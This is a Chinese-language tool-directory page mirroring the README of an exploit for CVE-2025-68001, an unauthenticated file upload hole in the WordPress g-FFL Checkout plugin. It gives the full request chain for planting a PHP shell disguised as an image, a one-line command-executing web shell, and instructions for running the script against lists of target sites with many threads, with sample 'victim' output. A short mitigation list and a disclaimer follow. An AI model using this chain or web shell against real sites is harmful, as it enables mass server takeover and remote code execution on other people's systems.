Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-68001 — WordPress g-FFL Checkout Plugin <= 2.1.0 存在一个高优先级任意文件上传漏洞 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-68001
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubnxploited/cve-2025-68001

CVE-2025-68001

WordPress g-FFL Checkout Plugin <= 2.1.0 存在一个高优先级任意文件上传漏洞

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-68001

WordPress g-FFL Checkout 插件 <= 2.1.0 存在高危任意文件上传漏洞

root@kitploit:~
  _      _   _   _  _   _     _   _   _   _    
 / \  / |_ __ ) / \  ) |_ __ |_  (_) / \ / \ /|
 \_ \/  |_   /_ \_/ /_  _)   |_) (_) \_/ \_/  |
                                                 

Telegram CVE Python License


📡 保持领先。 加入 Telegram 上的 @KNxploited —— 您获取最新 CVE、零日漏洞和前沿漏洞研究的独家来源。持续更新。并非适合所有人。


📋 概述

CVE-2025-68001 是一个严重级别的未认证任意文件上传漏洞,由 garidium 在 WordPress 的 g-FFL Checkout 插件中发现。

该漏洞允许未认证的远程攻击者通过 ffl_upload_document AJAX 操作将任意文件(包括 Web Shell)上传到目标服务器,从而导致完全远程代码执行 (RCE)。


⚙️ 工作原理

该利用程序遵循一个精确的多步攻击链:

root@kitploit:~
1. GET /checkout
      ↓
   从内联 JavaScript 数据中提取 `checkout_nonce`

2. POST /wp-admin/admin-ajax.php
      action=ffl_upload_document
      nonce=<提取的 nonce>
      document_type=document
      document=<伪装成 image/png 的 shell.php>
      ↓
   服务器存储文件,未进行扩展名或 MIME 校验

3. 解析 JSON 响应
      ↓
   提取上传文件路径 / 唯一文件名

4. 通过 HTTP 访问上传的 shell
      ↓
   实现远程代码执行 ✔️

该插件暴露了一个 AJAX 端点 ffl_upload_document,该端点:

  • 接受文件上传,无需身份验证
  • 不执行任何服务端文件类型验证
  • 在其 JSON 响应中返回存储的文件路径

🔧 要求

运行前安装所有依赖项:

root@kitploit:~
pip install requests rich
依赖项用途
requestsHTTP 请求与会话处理
rich终端界面、进度条、面板
threading多线程目标处理

要求 Python 3.8+。


📂 文件结构

root@kitploit:~
CVE-2025-68001/
├── CVE-2025-68001.py       # Main exploit script
├── shell.php               # Web shell to upload (you provide this)
├── list.txt                # Target URLs (one per line)
└── success_results.txt     # Auto-generated results output

🚀 使用方法

第一步 — 准备目标

创建一个 list.txt 文件,每行一个目标 URL:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress

如果未提供协议,脚本会自动添加 http://。


第二步 — 准备 Shell

将您的 PHP Web Shell 放在同一目录中。一个最小化 shell 示例:

root@kitploit:~
<?php system($_GET['cmd']); ?>

保存为 shell.php(或任意名称 —— 您将在提示时输入)。


第三步 — 运行利用程序

root@kitploit:~
python CVE-2025-68001.py

您将收到交互式提示:

root@kitploit:~
Enter targets file name (default: list.txt):
> list.txt

Enter shell file name to upload (default: shell.php):
> shell.php

Enter number of threads (default: 50):
> 20

第四步 — 查看结果

成功的利用结果会自动保存到 success_results.txt:

root@kitploit:~
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php

每行包含:

  • 目标 URL
  • 服务器上的存储文件路径
  • 服务器分配的唯一文件名
  • 原始上传文件名

🖥️ 脚本参数参考

提示默认值描述
目标文件list.txt包含目标 URL 的文件
Shell 文件shell.php

📊 输出示例

root@kitploit:~
✔  https://victim.com  — /checkout reachable. Trying exploit...

┌─────────────────────────────────────────────────────┐
│                      Success                        │
│  https://victim.com                                 │
│  Original Name:  shell.php                          │
│  Unique Name:    a7f3c1d9e.php                      │
│  Stored Path:    /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘

所有目标处理完毕 ✔️。结果保存至 success_results.txt

🔍 漏洞代码路径(技术细节)

该漏洞位于插件未进行权限检查的 AJAX 处理器中:

root@kitploit:~
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');

function ffl_upload_document() {
    // Nonce verified from /checkout page (publicly accessible)
    // No MIME type validation
    // No extension whitelist/blacklist
    move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
    wp_send_json_success(['file_path' => $upload_path]);
}

🛡️ 缓解与修复

如果您是网站所有者或开发者,请立即采取以下步骤:

  • ✅ 更新 g-ffl-checkout 插件到已修补版本(> 2.1.0)(如果可用)
  • ✅ 禁用该插件,直到确认补丁
  • ✅ 限制上传目录的执行权限(例如 .htaccess 规则)
  • ✅ 实施服务端文件类型验证和严格的扩展名白名单
  • ✅ 监控上传目录中的可疑 .php 文件
  • ✅ 启用 WAF 规则,阻止未认证的 AJAX 文件上传请求

⚠️ 免责声明

root@kitploit:~
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.

By using this script, you explicitly agree to the following:

  • You have EXPLICIT written permission from the target system owner.
  • You are operating in a controlled lab or authorized penetration testing engagement.
  • You will NOT use this tool against any system you do not own or have legal
    authorization to test.
  • The author (Nxploited) holds ZERO liability for any damage, data loss,
    legal consequences, or misuse resulting from this tool.

Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
  — Computer Fraud and Abuse Act (CFAA)
  — EU Directive on Attacks Against Information Systems
  — And equivalent laws in your jurisdiction.

USE RESPONSIBLY. HACK ETHICALLY.

👤 作者

代号Nxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 在 Telegram 上关注 @KNxploited 以在第一时间获取最新的漏洞披露、利用程序发布 和安全研究 —— 先于他人。


由 Nxploited 精确构建 · 仅限教育用途
下载工具
字段详情
CVE IDCVE-2025-68001
插件g-FFL Checkout (g-ffl-checkout)
受影响版本n/a 至 <= 2.1.0
漏洞类型无限制文件上传
影响远程代码执行 (RCE)
认证不需要
CVSS 严重性严重
研究员Nxploited
要上传到目标的 PHP Shell
线程数50并发工作线程(最大:50)